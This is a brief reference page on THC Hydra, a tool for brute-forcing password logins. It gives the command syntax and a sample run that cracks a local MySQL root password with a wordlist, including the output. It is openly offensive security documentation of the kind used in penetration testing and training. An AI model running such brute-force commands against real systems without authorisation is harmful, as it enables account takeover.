Hydra

 Hydra
         Hydra (THC Hydra) is a tool to automate brute force attacks against password authentication. It is the most famous online password cracking tool.
     

Syntax

$ hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

Example

$ hydra 127.0.0.1 mysql -l root -P /data/dictionnaires/test.txt -t 4
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-01-01 13:01:15
[DATA] 4 tasks, 1 servers, 32 login tries (l:1/p:32), ~8 tries per task
[DATA] attacking service mysql on port 3306
[3306][mysql] host: 127.0.0.1   login: root   password: Password01
[STATUS] attack finished for 127.0.0.1 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-01-01 13:01:15